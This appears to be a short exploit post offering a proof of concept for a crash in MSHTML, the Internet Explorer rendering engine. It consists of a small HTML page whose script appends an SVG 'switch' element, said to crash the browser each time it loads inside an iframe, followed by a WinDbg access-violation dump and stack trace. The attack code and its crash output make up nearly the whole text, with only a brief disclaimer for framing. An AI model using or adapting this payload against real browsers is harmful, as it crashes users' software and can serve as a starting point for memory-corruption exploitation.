This is for educational purpose only. I take no responsibility for its abuse.

Tested successfully on fully updated Win 11 32-bit. Might work on others as well.

Code:
<!doctype html>
<html><HEAD>
<style>
*:nth-child(1)::before {
    content:'string';
}
</style>
<script>
function mehar(){
	svg0 = document.createElementNS('http://www.w3.org/2000/svg', 'svg')
	document.body.appendChild(svg0)
	svg0.appendChild(document.createElementNS('http://www.w3.org/2000/svg', 'switch'))
}
</script></HEAD>
<body onload='mehar();'></body></html>
Need to load above code from within an iFrame. Works 100% times.

(c10.ba8): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000024 ebx=0549ff80 ecx=00000000 edx=05485fa0 esi=0547dfa8 edi=05485fc4
eip=652993ae esp=053eb544 ebp=053eb558 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206
MSHTML!CSVGSwitchElement::FindAndSetVisibleChildNo de+0x89:
652993ae 8b4014 mov eax,dword ptr [eax+14h] ds:0023:00000038=????????

2:042> kb
ChildEBP RetAddr Args to Child
053eb558 65299455 053eb568 64a9715f 05485fa0 MSHTML!CSVGSwitchElement::FindAndSetVisibleChildNo de+0x89
053eb560 64a9715f 05485fa0 053ebdd8 0669fcc8 MSHTML!CSVGSwitchElement::IsHiddenByConditionalPro cessing+0x15
053eb57c 6449e7b7 05485fa0 05485fa0 053ebb30 MSHTML!CElement::GetMarkupCrossSlideBehavior+0x40c
053eb694 6449de16 05485fa0 053ebf54 00000000 MSHTML!CCharFormat::NormalizeFormat+0x3b
053eb6fc 644a33ba 053ebb30 0547dfa8 053ebb30 MSHTML!CTreeNode::CacheNewFormats+0x178
053eb9cc 64a15ce8 053ebb30 05485fa0 053eba00 MSHTML!CElement::ComputeFormatsVirtual+0xac0
053eb9f0 6449e775 053ebb30 05485fa0 05485fa0 MSHTML!CSVGElement::ComputeFormatsVirtual+0x18
053eba90 64a7c1f3 053ebb30 05485fa0 05445fc0 MSHTML!CElement::ComputeFormats+0x16a
053ec77c 6447954b 05445fc0 05447bb0 05449fac MSHTML!CTreeNode::ComputeFormatsHelper+0xab
053ec794 64519872 00000000 00000001 00000000 MSHTML!CTreeNode::EnsureNestedFormats+0x89
053ec7f0 64519752 066ecbd0 00008080 00000000 MSHTML!CElement::UpdateFormatsForLayout+0xd0
053ec8a8 64442617 06968f98 066d2f30 6443fc30 MSHTML!CView::ExecuteInvalidationTasks+0x2bc
053ec8fc 644485ce 00008080 06968f98 066d2f30 MSHTML!CView::EnsureView+0x36b